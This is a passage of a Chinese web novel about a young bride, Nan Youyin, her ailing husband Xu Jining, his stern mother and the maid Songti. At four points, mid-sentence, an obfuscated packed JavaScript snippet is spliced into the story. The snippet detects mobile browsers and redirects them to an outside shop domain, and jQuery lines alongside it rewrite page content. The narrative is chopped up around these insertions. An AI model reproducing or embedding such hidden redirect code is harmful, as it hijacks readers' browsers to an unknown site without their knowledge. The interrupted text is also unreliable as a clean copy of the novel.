他向着刚刚走入卧房的南有音浅浅行了一个礼,继续对徐太太说道:“小少爷既已按张大人所说迎娶少奶奶,自然会性命无虞,本朝能在钦天监内任职的皆是有真才实学的,夫人便安心吧。” 大概是这一通与钦天监有关的神秘言论安慰到了徐太太,她脸上蹙在一起的两道柳叶眉终于舒展了几分,派人按照林太医的方子抓药熬药,又重金答谢了林太医,而后招呼南有音到身边,拉起她的手,询问起了归宁这一路的事。 南有音一一说来,只隐瞒并稍稍美化了弟弟南玉振针对徐寂宁的事,她不安地看向躺在床上的人,见他没有任何反驳的意思,暗暗松了口气。 徐太太抚着她的手轻轻道:“有音,辛苦你了。” 这句像是叹息又像是呢喃的话语中藏着怜爱,甚至还有感激。 这样的温柔让南有音感到有点愧疚,小声道:“我其实也没做什么……” 徐太太柔和地冲她笑笑,示意她坐在她的旁边,而后忽然变了脸色,收起了脸上的一团和气,骤然变得冰冷,细长眼睛与薄唇透露出几丝寒意,骤然升起的主母威仪让众人不敢动弹。 徐寂宁很熟悉母亲的这般姿态,过去他和三姐被罚跪祠堂前母亲就总是这幅模样。 “松梯。”徐太太冷冷唤道。 松梯急忙跪下了。 徐太太说起刚刚院中杂乱,一众丫鬟婆子奔来跑去,不知在忙些什么,全然不将少奶奶放在眼里,质问松梯这个大丫鬟平时如何管事的,又说起松梯早上明知小少爷身体不适却不上报,当真是胆子越来越大…… “过去跟着我,你们一个个倒还规矩,现在服侍少奶奶,倒是一个个的忘了自己的身份,”徐太太喝了一口茶,睇了一眼松梯,“你自己去下房领取十五板子,别说我心狠,原本该罚你三十板子,这是念在你过去服侍了我几年减了一半儿去,至于其他人,若是再有下次,便撵出去自生自灭。” 徐寂宁知道母亲是在替南有音立规矩,南有音不懂大户人家主人与奴婢的相处,徐太太便替她敲打院子的众人要老老实实,顺便惩罚松梯以杀鸡儆猴。 徐寂宁想着替无辜受累的松梯求情,未曾想自己一开口却先是一阵咳嗽,只嘶哑着喊了一声太太,徐夫人便用一句“你还病着,好好休息”制止了他,接着便命令身边的两个嬷嬷带松梯去受罚。 南有音一听要罚松梯打板子,心里就害怕起来,见两个嬷嬷上前拉松梯,心里一急,便上前跪到了松梯身边,替她向太太求情:“太太!” 这一举动让屋内的时间滞了片刻,所有人都愣住了。 “少奶奶,您快起来……”松梯推搡南有音,向来没有主子与丫鬟一块儿跪着的道理。 南有音跪在地上,正冲着徐夫人,头一次看到了冷若寒霜的太太,这跟她先前面对的和善可亲的太太大不一样,却与她此前听过的传闻很像,她无端想起那句“宁要规矩不要性命”的传闻,害怕地退缩了一下,却还是鼓起勇气,声音发抖道:“太太,您不要罚松梯好吗……” 徐夫人下意识问道:“为何?” “因,因为——”南有音绞尽脑汁,想要表现的机智灵巧一点,想出一个两全其美的理由,她求助的目光不自觉地飘向屋子里唯一一个她还算熟悉的人徐寂宁。 徐寂宁确实替她想了不少理由,有为双方都找个台阶的折中法——“我刚来府上诸事不熟,需要松梯协助,她若挨板子受伤了,我一时也找不到合适的人”,也有动之以情的求饶法——“太太饶了松梯这一次吧,我虽只来了三天,她服侍我也算尽心尽力”,也有将松梯从太太手里转到自己手中的包庇之法——“松梯确实是不够规矩,太太您莫气坏了身子,这丫头还是交给我处置吧”等等。 可惜南有音不懂读心术,她看向徐寂宁,徐寂宁也盯着她,两人的目光在半空中短暂相接,无济于事。 南有音望着徐太太威严的面孔,最后只说道:“我不忍心看她受罚。” 她轻微的声音落下,使得徐夫人细长眼睛的睫毛似是不忍一般微微颤了一下,像是蝴蝶振翅,俶尔吹动暖风融化寒霜。 徐太太垂下眼帘,令人摸不透眼底神色,在徐寂宁忧心南有音要被罚跪祠堂时,她缓缓说道:“你们起来吧……” 徐太太摆摆手让下人各归其职,在丫鬟的搀扶下走出卧房,走出正堂,一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“主子能要了奴婢的性命?”南有音瞪大了眼睛,她过去不曾拥有奴仆,只对大户人家奴才还不如牲畜的说法略有耳闻,今日听松梯说起,仍觉讶然,随即有些忿忿不平,“这也太不好了,我不想做什么能夺人性命的少奶奶。我小时候在乡下,大家都没有丫鬟小厮的,彼此之间也没这些高低贵贱的分别。松梯,你也不用总觉得我是主子什么的,也就大户人家讲究,实际上我和你都是人,分明也没什么差别……” 南有音的话不经意间勾起了松梯的一些回忆,松梯转头看向床榻上的徐寂宁,两人四目相接,确信彼此想到了同一个人——徐静祺,她过去就常说什么世上不该有小姐丫鬟之分。 松梯心绪复杂地微微一笑,往南有音的茶盏里又添了些热茶。 南有音吞着茶水,暖融融的感觉从肠胃扩散到四肢,让她感觉从刚刚的惊吓中走了出来,她低头瞅着那盏茶,忽然想起什么一般问道:“这是九曲红梅?” 在得到松梯的肯定回答后,南有音头一次喝茶时先看后闻再品,认认真真小口抿茶,喝了一杯又一杯,最后若有所思——徐寂宁的舌头有问题吧,徐府的茶跟我家的茶哪有什么差别。 10. 夜话 夜渐渐深了,南有音与徐寂宁的院落渐渐安静了下来,傍晚时分徐太太威严带来的余压终于散去,重新回到听屋内小火炉噼噼剥剥燃烧与屋外北风呼啸声音交织的时刻。 南有音坐在小火炉边看松梯熬药,手里捧着一碗鸡汤面,吃的津津有味。后厨送来了两份面,徐寂宁一脸菜色,一点胃口也没有,南有音勉为其难,一个人吃了两碗,惊叹于面汤的鲜美的同时肠胃获得了极大的满足感,甚至隐隐冒出再来一碗的念头。 随着小火炉上的药罐开始散发出浓浓的药味儿,这些闻起来就发苦的味道钻进了南有音的鼻腔,泯灭了她还想继续吃点什么的食欲。 火炉上的药又熬了许久后,松梯熟练地沥干药渣,盛出一碗深褐色的液体,南有音瞅了一眼,说道:“闻起来就不好喝,看起来更难喝。” “药哪有好喝的呀。”松梯温和地笑着将药搁在案上放凉。 “我过去不怎么生病,也没怎么喝过药,”南有音托腮看着盛药的瓷碗上飘着的蒸汽说道,“不过我弟弟得过一次风寒,他嫌药苦,说什么也不喝,简直愁坏了父亲和母亲,我没有办法,便故意激他,比我两个谁喝药快,好不容易才哄他把药喝进去。” 松梯小动物一样清纯的眼睛透露出几分关切:“可是当时你又没有染风寒,喝药对身子不妥吧。” “确实不妥,喝药那几天腹泻不止,瘦了不少。”南有音笑了起来,“母亲知道这件事之后大发雷霆,把弟弟吓坏了,不敢再耍赖,老老实实地乖乖喝药了。” 后来南玉振风寒康复,一连几个月都往南有音屋里送各种点心果脯,搞得南有音莫名其妙的,最终在她的不懈逼问下,南玉振一扭头轻哼一声,扬言说他是要把姐姐因他瘦了的那几斤全都再补回来。 想到自己这个别扭又赤诚的弟弟还为自己留着东厢房等着自己回家,南有音嘴角洋溢出笑容,忍不住对松梯说起自家弟弟:“玉振虽然读书上烂得吓人,可其他方面还算不错,等你哪天见到他,你就会知道了。” 没等松梯说些什么,屋外先传来了动静,是太太那边打发人来询问徐寂宁的状况。 南有音登时又紧张了起来,她还没忘记刚刚徐太太发火时冷冰冰的模样。 松梯拍了拍南有音肩头,示意少奶奶放心,她说她去给太太回话,说她与太太相处的久,知道如何应对,又将那碗药递给南有音,嘱咐她记得让徐寂宁喝下去。 松梯走后,南有音端着药不安地坐到床沿,静静看着徐寂宁的睡颜,他睡着时神色安宁平静,南有音忽然好奇他喝药时两道眉毛是否会皱起来。 出于莫名的好奇心,她浅浅尝了一口碗中的药,一股掺杂着某些酸味的浓烈苦味顿时炸裂在舌尖,她被呛了一下,猛烈地咳嗽起来,连带着身子不稳,几乎要将手中的药将要洒了一床,但一只手扶住她,稳稳当当地接过了药碗。 “你怎么了?”徐寂宁声音有些沙哑,他坐起身来,端着药,倚在床头。 “你,咳咳,醒了啊?”南有音两颊泛红,勉强压下肺里起伏的咳嗽。 “毕竟你咳嗽的动静不小,”徐寂宁苍白的脸上透露担忧,“该不会是被我传染了吧……” “那倒不是,只是我尝了尝你的药,”南有音皱起脸,“实在太难喝了。” “药?”徐寂宁低头看了眼手中黑漆漆的药汤,接着仰头几口全吞下去了。 南有音一脸惊恐,想到这个舌头一尝就知道是什么茶的挑剔人一口气干了那么苦的药,肃然起敬。 徐寂宁温和道:“我这几年经常喝药,这算不上最苦的。” “啊?经常喝?”南有音心底油然升起几分同情。 “是啊,”徐寂宁重新闭眼躺下,“前几年我一直病着。” 徐寂宁没能安静地躺着太久,因为他很快就感受到了一道灼热的目光,一动不动的粘在他的脸上。 他睁开眼,又对上那一双明亮的大眼睛,他脸又有点红了:“你不要总是盯着我。” 南有音关切道:“我只是想看看你是不是还在难受。” 被南有音直白的好意击中,徐寂宁感到几分不自在,他怕她就这样一直盯着她,便说道:“我已经好多了,况且夜深了,你不用受在这,去书房休息吧。” 南有音闻言,挑眉道:“今晚你不去书房,倒是轮到我睡书房了。” 徐寂宁没接腔,南有音又有些气愤道:“算起来今晚是成婚第三夜,我偏哪儿也不去,我就不信还有结婚三天还没能同床的夫妻。” 徐寂宁被吓得一阵咳嗽。 “我又不做什么。”南有音胳膊肘架在床边,两只是托着下巴,样子十分的乖巧,“我只是想待在这里。” 徐寂宁妥协了:“那你不要再盯着我了。” “好吧。” 南有音安安静静趴在床边出神,徐寂宁闭目养神,偶尔在寒风停止呼啸的片刻能听到彼此的心跳与呼吸。 最终是徐寂宁先打破了沉默。 “抱歉,我猜今天我大概吓到你了。”他轻声说道,他最初也没想到会病得这样重。 “嗯。”南有音仍旧趴在床边,应了一声,“所以你快点好起来吧,我还没准备好当寡妇。” “寡妇?你还害怕这个?”徐寂宁之前没想过这个概念,忽然听南有音提出来只觉得有些荒谬,没忍住轻笑出声,“可你们南家与我定亲时,正好是我病得最重的时候,能不能活下来都说不准,若是你害怕做寡妇,当时怎么会答应这门亲事?” 自四年前徐静祺死后,徐寂宁缠绵病榻,一度垂死,在病得不省人事命悬一线时,父母给他同南家订下了亲事。 南有音大概没听出徐寂宁话语间有些带刺的语气,抬起眼睛,不假思索地回答道:“因为是要与你成亲呀,因为他们说我的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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南有音仍觉得还是家里更好,父母弟弟都能由着她胡闹,今日见到太太发火,她可没胆子在太太面前放肆。 徐寂宁半开玩笑半是认真道:“该不会是母亲训斥下人吓到你了吧?母亲确实礼仪规矩讲究多一些……” 他想起了三姐徐静祺,她便时常因为这些缘故闷闷不乐。 “是有点害怕,但还是是觉得呆在这里有些孤单。”南有音忧郁地小声说道,“整个徐府我最熟悉的只有你,但你好像也不怎么跟我说话。” 徐寂宁虽然不知道南有音为何会跟他这个刚刚认识三天的人熟悉,但见她消沉,还是回忆着年少时大哥哄他的语气,柔和道:“可我不是一直在这里吗?” “我知道。”南有音点头,半晌过后,她又突兀地说道,“所以我不想去书房,你能一直陪着我吗?我不想一个人。” “好吧,那你想我做些什么呢?” 11. 松梯 听到徐寂宁问自己想做些什么,南有音明亮的眼睛立刻热烈地扫向了徐寂宁,这使得有点畏缩,有些后悔询问南有音想让做些什么了。 “你还病着,我还能让你做什么,”南有音轻快道,“你陪我说说话吧。” 徐寂宁问道:“那你想要我跟你说什么?” 南有音想了想说:“要不你讲个故事吧,你这里都是些正经书,连本话本子都没有,怪没意思的。” 话本子曾经是有的,过去徐寂宁和三姐徐静祺瞒着太太藏了一箱子的话本子,只是后来徐静祺死了,他又病了,两人辛辛苦苦收集的话本子也不知道流落哪处了。 徐寂宁努力回想之前看过的话本,可是上次看话本子已经是在四年以前了,他现在只能无比惆怅地回想起一些曾与三姐讨论过的精彩片段,却回忆不起任何连贯的剧情。 “我之前看过好多话本子,”徐寂宁说道,“只是我脑袋晕晕的,什么都想不起来了。” “你也看话本子?”南有音看起来有些惊喜,“母亲告诉我说大户人家的儿女是不读那些闲书杂书的。” 徐寂宁会偷偷读话本子是因为他的三姐徐静祺会偷读,只是他不知道徐静祺从哪知道话本子这种东西的,按理说她们这些高门贵族养在深闺的姑娘是接触不到那些民间琐物的,徐寂宁曾问过徐静祺,徐静祺说这有什么可大惊小怪的,在她穿越来的那个时代,大家早就把这段历史方方面面都研究到了,这一时期盛行市民文学是通识,她要是不知道就是白上学了。 徐静祺话里各种奇怪词语太多,徐寂宁对三姐所谓的“穿越前的世界”始终难以理解,每当这时三姐只会无奈地笑笑,说他想那么多有什么用,还不如看看新淘来的画本子,至少看了能开心。 他说他只是想更了解三姐,这样说不定就会知道三姐为何总时不时的就不开心,三姐却眨眨眼有些伤感,说这个时代不会有人能够明白,她最后说让他跟她一块看话本就好,不然她想发表点吐槽都没有听众。 “‘吐槽’是什么?”徐寂宁皱眉问道,“海外方国的话吗?” “外国话?”徐静祺一愣,然后叽里咕噜发出一串在徐寂宁听起来是鸟语的声音,对他说“这是英语”,然后在他茫然地眼神中笑成一团。 徐寂宁将思绪从过去的回忆中抽回,对南有音说道:“过去我和三姐总是瞒着母亲偷偷读各种杂书。” 南有音问到:“三姐姐,是静祺姐姐吗?她也爱看话本吗?” 虽然四年过去了,但徐寂宁仍旧不太忍心提起这个逝去的人,他压下心底起起伏伏的哀伤,换个话题:“白日我在你家歇息的房间是你未出嫁时的屋子吗?” 南有音察觉到徐寂宁僵硬地岔开话题,她微微瘪了下嘴,但没有追问,顺着他抛出的话说道:“不然呢,你难道指望玉振把自己的房间让给你。” 徐寂宁道:“我只是有些奇怪,你房间怎么那么小。” “可我家就那么几间屋子,还赶不上你这院子大呢。” “你家怎么会那么小,我之前从来没见过那么小的院落。” 南有音忍不住翻了个白眼:“那只能怪你太没见识了。” “但不应该呀,”徐寂宁说道,“你家不该那么……穷。” 南有音大为震惊:“我家哪里穷了?吃穿用度都不用愁,吃得饱穿得暖,我和玉振自从来到南家后就没再饿过肚子,你怎么会觉得我家穷,总不至于非要像你们这些大户人家一样天天山珍海味绫罗绸缎吧。” “我的意思是南老爷虽然官阶低,但好歹也是挂在户部盐铁下面的,按理说油水不少,你家虽没有世代积累,不能同城内的高门贵族相比,但也不至于那么寒——呃,那么清贫。”徐寂宁想着白天南家逼仄的小院子,以及南家没有装饰有些冷清、连家具也毛毛糙糙没什么讲究的厅堂,努力咽下险些脱口而出的“寒酸”二字,委婉地换成“清贫”。 南有音一向不懂父亲官场的那些事,随口说道:“那可能因为我爹是不求名利的青天大老爷,两袖清风嘛。” 徐寂宁没说话,扬了扬眉毛,不置可否。 南有音读懂了他的表情,直接问道:“你觉得不是?” 徐寂宁轻轻笑了,随手举出了一个反驳的例子:“倘若你爹真的不贪图名利,何必把你嫁过来为玉振谋仕途呢?” 南有音像是被刺痛了一般猛地站了起来,炙热而明亮的大眼睛盯着徐寂宁,灼得徐寂宁又感到有些退缩。 “我难道是为了我爹嫁给你吗?”南有音显然恼了,她冲着徐寂宁大声道,“我不是说了吗,我愿意嫁给你,是因为我特别的喜欢你!” 南有音的胸膛激烈地起伏着,显然是气得不轻,她用自己的大眼睛瞪着徐寂宁,瞪得他不敢吭声,然后发现他的脸越来越红,连耳朵也发红,没忍住笑出了声。 徐寂宁底气不足的问道:“你笑什么?” 南有音笑嘻嘻地回答说:“本来我很生气不想笑的,可是看你脸这么红,真的很好玩诶。” 徐寂宁的脸似乎更红了,最后他气恼地拽了拽被子,蒙住了脸,也藏住不安与烦乱的内心——没有人面对炽烈的表白仍能八风不动,徐寂宁亦然。 可惜从来没有人教过他该如何处理这种情况,人们只知道把他同一个他压根不熟悉的姑娘放在一间屋子里,然后宣布他们结为夫妻,却不告诉他该如何跟一个近乎陌生的姑娘相处,他可以配合她接亲归宁,演好世俗的戏码,但他实在不知道在自己心底,他该把她摆在心哪个位置。 他想起三姐徐静祺说过的话,徐静祺说在她原先的世界里,只要相爱便可义无反顾,不管家世门第,不管男女老少,甚至只要愿意,也可以与啄木鸟结成夫妻,关于啄木鸟这一点徐寂宁一直深表怀疑,但他无从考证。他也记得徐静祺说过,在她原先的世界里,不爱的人也可以分开,一纸婚书未必会成为一生束缚。 徐寂宁感到一阵迷乱与苦恼,三姐总说另一个世界的事,却没说过在现下,两个捆绑为夫妻的人该如何。他曾考虑过解除婚约,不光过不了父母那关,他自己也知道一纸休书会对一个没有家世门第的年轻姑娘造成不可计量的影响,他只好接受身边多了一个妻子,但他仍不知道该如何面对他所谓的妻子,他考虑过,想着妻子也是这段联姻的受害者,他决心不会待她太差,想着或许与之相处时可以将她当做妹妹或者朋友,但没有妹妹或者朋友会对他有这样肆意的、直白的、丝毫不同于亲情友情的爱意。 在他被脑内思绪纠缠地心烦意乱的时候,他感到面上一凉,睁眼对上的就是那双亮丽的大眼睛,是南有音揭开蒙在他脸上的被子。 南有音笑着说:“你没睡着呀。” 徐寂宁又重新把被子蒙在了自己脸上。 南有音有些无奈,像是过去哄自家弟弟一样说道:“好吧,我不笑你了,你不至于把自己蒙在被子里闷死吧。” 徐寂宁没应声也没动弹,南有音也觉得自己不该用哄弟弟的语气同他说话,他是她的丈夫,又不是南玉振。 南有音摸不透徐寂宁把自己藏在被子里是什么意思,她大胆直白且毫不保留的宣说了她的喜欢,但徐寂宁知道后好像除了脸红也没什么其他反应…… 南有音拉着床帏的一角,随着心里乱如麻的思绪在手上绞来绞去,但她天生不是心里纠结困恼的人,她手上绞着绞着,就被床帏上绣工异常精致的鸳鸯刺绣吸走了目光,不由地感慨这些达官显贵家的东西和普通人家就是不一样,同时又想起了自家的床帏。 她推了推徐寂宁,问道:“宁哥哥,你见过孔雀吗?” 从被子底下传来的声音有些发闷:“见过。” 南有音问:“你看到我的东厢阁的床帏了吗?上面就绣着孔雀。” 这次徐寂宁还是没应声,但是被子底下的身体是明显的一阵颤抖,南有音好奇地掀开被角,发现徐寂宁在憋笑。 在遮在脸上的被子又一次被掀起,与南有音四目相对时,徐寂宁没忍住乐出了声。他记得南有音卧房床帏上丑丑的图案,骤然听南有音说那是孔雀,他先是大吃一惊,然后笑到全身发颤。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14445771|154041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 这次轮到南有音问“你笑什么?”了。 徐寂宁忍着笑说道:“你床帏绣得不是蓝色的鸭子吗,怎么成了孔雀?” “不是孔雀?” “怎么可能是!” 南有音看起来很震惊:“玉振跟我说孔雀就是带着绿色和蓝色羽毛的鸭子啊,难道不是?” 徐寂宁低低笑道:“当然不是。” 他描述了一下孔雀的样子,南有音听后咬牙道:“好啊,我就知道玉振又骗我,我光听说孔雀漂亮,但没见过是什么样子,玉振说他知道,他描述,我绣,绣出来后我说像是鸭子,他非说孔雀就是那个样子。” 徐寂宁仍不住笑:“小崔太史喜欢鸟禽,府上有一对孔雀,日后有空我可以带你去瞧瞧,鸭子和孔雀可差远啦,你这指鸭子为孔雀也太荒唐了,赵高来了都得说两者不一样。” 南有音有些期待:“好呀,等哪天我把玉振叫来,你带着我们姐弟两个去见识一下。” “玉振愿意来吗?”徐寂宁有些笑不出来了,“他不怎么待见我,给你留着屋子盼着你回去。” 南有音想起午后弟弟与自己的谈话,问道:“你听到了?” 徐寂宁道:“玉振声音那么大,是故意要我听到的。” “他……”南有音想不出什么为弟弟辩解几句,只好问道,“你不会生他的气吧?” “我同他计较什么,他只十六岁,”徐寂宁内心感到几分苦涩,“我和他差不多大时跟他是一个想法,不愿叫姐姐嫁人。” “你没有因此生他的气就好了。”南有音说道。 “他也是为你着想。”徐寂宁轻声说。 “是呀,他一直对我很好,虽说我们不是亲生姐弟。” 徐寂宁有些失神,三姐同他也并非一母同胞,他喃喃道:“不论如何,弟弟对姐姐好总是应该的。” 南有音与徐寂宁又说了一会儿南玉振还有孔雀之类的,或许是药效上来了,也或许是两人空洞的谈话其实没什么意思,徐寂宁昏昏沉沉的睡过去了。南有音坐在床边拨弄火炉,她想起在家时父亲和弟弟会与她一块生火烧炉子,这些莫名奇妙的小小细节又开始令她觉得孤孤单单,那种离家的怅然又一次无声的席卷而来。 南有音静静坐在小火炉边,渐渐感到鼻子和心脏都酸酸的,一种想哭却哭不出来的难受感觉,她无声的注视着炉火,暖红色跳动着的炉火也映在她的眼睛里,就这样呆坐了好久,一直到松梯从太太那里回来。 松梯一进门就察觉到了有些不对劲儿,屋内的蜡烛烧得很矮了,有些昏暗,南有音呆呆地坐在火炉边,虽然燃烧的炉火衬的她两颊微红,却看上去没什么生气。 听到响声,她抬头往松梯方向看去,轻声道:“你回来啦,太太有没有为难你?” “少奶奶?”松梯敏锐地发觉南有音好像很低落,眉眼低垂,好像氲散着一层乌云似的。 “嗯?”南有音木愣愣地看着炉火应了一声。 “你在想什么呢?” “我只是有点想家……” “想家?” “嗯,松梯的家在哪里?是什么样的?” 松梯微微笑道:“我被父母买了,没有家了。” “没有家?”南有音一愣,随即张开双臂,环绕住松梯,轻声道,“没关系,我们会像家人的。” 松梯默默站了一会儿,也轻轻搂住了南有音。 南有音不由自主地将脑袋依靠在松梯柔软的胸膛,鼻尖嗅到松梯衣服上淡淡的皂香,听到沉稳而让人心安的心跳声,感受着她身上传来的温暖气息,这些温暖盈盈包围着她,也包裹着松梯。 松梯抚摸着南有音的头发轻声说道:“你这样让我想起三小姐,过去院子里有人当有人伤心时,她就会这样拥抱她们……” “三小姐?是静祺姐姐吧。” 松梯点点头声音有些颤抖:“其实大家都说你很像她。” 南有音小声道:“可我不是她。” “我知道的。”松梯也小声说道。 12. 异梦 正如林太医说得那样,徐寂宁并无大碍,不出旬日便已康复无虞,而在林太医宣布徐寂宁身体已经彻底好转后,一个天大的难题又落了下来——徐寂宁无法找到什么合理理由继续与南有音分房睡了,他不光躲不过南有音明亮且充满疑惑的眼睛,更躲不过母亲徐太太的问责。 “你同有音一直分房?”尽管徐太太只是坐着一面喝茶一面发问,却仍让徐寂宁感觉不安,母亲像是在端坐殿内高座之上垂眸睥睨,他则像是在长阶之下垂首而立。 徐寂宁小心地回答道:“之前病了,担心传染。” 徐太太不露声色地继续说道:“可我听说成婚当天夜里你就没回房。” 徐寂宁不太敢看母亲带着审问意味的锐利目光,回答道:“那日我和有音都太困倦了,有音先睡了,我怕打搅到她就去了书房。” “那第二日呢?” 徐寂宁支支吾吾了:“第二日也是……” 徐太太冷哼一声:“难不成你屋里的床太小,睡不下两个人?” 徐府没人不怕徐太太的一张冷脸,徐寂宁不敢应声了,老老实实像只鹌鹑。 不光徐寂宁老实了,来徐夫人屋里传话的小厮也停住了脚,在门槛外站住,等着徐夫人的示意。 徐太太认得那个小厮,是徐朗身边的仆从,名叫云阶,便问道:“什么事?” 云阶回话说太太之前交代的事老爷与宫里的钦天监说了,钦天监那边说年后得空便派人来。 徐太太有些头疼,皱眉吩咐:“你回去让老爷再催催那边,小乙总是哭个不停这事,还是尽早让钦天监的人来看看比较好。” 小乙是大哥徐默安的次子,只是听到“小乙”这个名字,徐寂宁耳中就不自觉地浮现出婴孩啼哭的动静。之前徐寂宁从来没想过小孩能哭那么久,徐太太更是说她从没见过比小乙还能哭的孩子,她一直说要请宫中钦天监的人来看看,徐寂宁虽然也不喜欢自己这个小小侄子总是啼哭,但对母亲找宫中司鬼神命里之事的钦天监不屑一顾,他不认为那些神神叨叨的人能解决问题,更迷惘于他向来强硬的母亲什么时候变得如此迷信了。 小厮汇报完后,徐寂宁仍然低着头,等着徐太太继续刚才训斥,等了良久,只听到了一声疲倦叹息。 徐寂宁有些诧异的抬起头,母亲疲倦地揉着额角,低垂的眼尾不知何时挂满了细纹,不经意间就流露几分衰老所带来的脆弱。 “你们这些孩子啊……过去静祺在时,只觉得她特立独行的,现在反过头来看看,你们兄弟三个也没好到哪里去。”徐夫人声音愈来愈低沉,“缄平是不能指望,知落那两个孩子,唉,不提也罢,默安又是请旨拒婚……寂宁你——” 徐太太充满焦虑的目光落在小儿子脸上,探寻道:“你又是为什么不愿与有音同房呢?” 突入起来且无比直接的询问让徐寂宁有些懵,但他张嘴还没支吾出什么,徐夫人便捂着心口抬手制止了他,似乎生怕他会说出什么让她心脏受不了的话。 徐寂宁明白这是因为大哥和二哥在经营婚姻方面有着卓越的先例,从徐夫人的视角来看无疑是两个失败到令人毛骨悚然的先例。 徐夫人望向小儿子,她的三个儿子都长得像她,兄弟三人容貌相仿,只是寂宁的眼睛看着比他两个哥哥清亮些,看起来……虽然作为母亲她不愿意承认,但事实确实如此,徐寂宁看起来好像比两个哥哥多了很多傻气。 她认真的打量着自己的小儿子,从头到脚,虽然林太医说徐寂宁身体早已不是之前的秋风落叶,但她还是能一眼看出小儿子身上看出那些缠绵病榻的痕迹,想到他前些年几乎要病死,她现在只庆幸他还健康活着,一时对他也不敢像过去一样有颇多指望。 但为徐氏延续香火的指望还是得寄托在他身上,徐夫人只好说道:“不管你怎么想,可有音是个好姑娘,你不要委屈了她。” 徐寂宁犹豫片刻,还是问出了那个萦绕他心头的问题:“可为何您会这样喜欢有音呢?” 徐太太对小儿子的问题有些惊讶,她注视着小儿子的眼睛,认真道:“因为她当初愿意为了那些谁也说不准话语,赌上所有前程,嫁给生死未卜的你。” 徐太太不确定小儿子有没有明白她的意思,她用一种既像是教导又像是命令的语气再度叮嘱道:“所以,你要待有音好一些,知道了吗?” 徐寂宁看着母亲的眼神逐渐严厉起来,心中油然产生几丝惶恐,想起了过去犯错被母亲当场抓住并教育的情形,老老实实地回答“知道了”,而后在母亲摆手示意他可以走了时落荒而逃。 当晚,徐寂宁没再继续歇在书房,乖乖地呆在他和南有音的卧房,翻着书,等着南有音。 在徐寂宁生病的几天,南有音已然与院子的丫鬟婆子打成一片,有时晚饭后无聊,她就去松梯屋里跟小丫鬟们说话,起初大家还有些怕她少奶奶的身份,后来慢慢熟络了,院子里的丫鬟们很快就发现她们这位少奶奶总是格外的好说话,她总是很体谅她们,尤其体谅屋外干粗使活络的丫鬟婆子,她会和松梯一起在徐府的庭院搜集松树的树脂分给手脚长着冻疮的人,她与乡下出身的丫鬟也能聊得来,甚至对农活很是熟悉,她总是诚惶诚恐地接受她们的侍奉,仿佛她不是少奶奶而是跟她们一样的小丫鬟…… 南有音在松梯屋里听一个小丫鬟讲述自己村子里闹鬼的故事,她听完后往卧房走,心禁不住感觉毛毛的,感觉头顶漫天的星辰像是眼睛在注视着她,吹在身上的风也阴恻恻的好像要包围她一般,她一面回味着小丫鬟瘆人的描述一面不由自主地蹑手蹑脚穿过正厅走去卧房,满脑子都是鬼怪之事,思考要不要叫松梯今晚过来陪她,推开门时猛然发现屋里居然有个人影,一时以为见鬼了,被狠狠吓了一跳,猛地撞上了门框,发出惊天动地的响声。 徐寂宁正在屋里蹲着拨弄火炉,被吓了一跳,他与门口的南有音四目相对,南有音忍者肩膀的疼痛冲他龇牙咧嘴地笑了一下,他又迅速低头继续拨弄地上的火炉,炉中火苗在他的守护下愈发得奄奄一息,这让他有些尴尬,不得不向南有音释放求助的目光。 南有音揉着自己被门框撞得生疼的胳膊,在徐寂宁的注视下认认真真地关上门,又非常仔细地把门栓插好,露出了在徐寂宁看来有些“不怀好意”的笑容,似乎在说今晚你别想逃了。 做完这一切后,她清了清嗓子,问道:“今天你怎么不躲在书房了,你忽然冒出来,我差点以为闹鬼了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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徐寂宁又草草翻了几页书,不知道南有音睡着没有,却忽然听到她下床的动静,他下意识向声音的方向看去,又像被烫了一下,迅速收回目光。 他不知道该将南有音放在哪个位置,也不知道怎么回应她的情感,在处理完这些难题之前,他更没准备好见识到她的身体。 南有音刚刚撞上门框的半边肩膀越来越疼,她拖拉着鞋子做到镜子旁,撩起背后的头发,解开半边衣服,半边后背与肩膀都出现在镜子里,检查伤势。 南有音扭着脖子查看着镜子里的肩膀,却忽然透过镜子看见徐寂宁红着脸翻书,忍不住笑出声。 南有音的笑让徐寂宁感到几分窘迫,他只好扭过头来,问道:“你怎么啦?” 南有音说道:“正好你过来瞧瞧是怎么回事,我觉得肩膀痛,刚刚那一下好像撞的不轻。” “这……不合适吧……我和你……” “我和你已经是夫妻了,有什么不合适?” 南有音亮闪闪地大眼睛注视着徐寂宁,使得徐寂宁无言以对,只好拖着因不安而过分沉重的腿走近。 肩膀处细腻肌肤上出现了好大一块淤青,确实伤的不轻。 他说道:“明天我叫人送些活血化瘀的药来,今晚你先早些休息吧。” 南有音盯着徐寂宁问道:“那你呢?” “我?”徐寂宁脑子空空的,说道,“我再看会书。” 南有音有些恼火:“还看书?我等了好就了。” “嗯,你先睡吧。”徐寂宁转身又坐到了书桌边。 13. 两厢 南有音不知道徐寂宁什么时候才读完他那晦涩难懂的文章,她先被困意俘获了,率先进入了梦香。 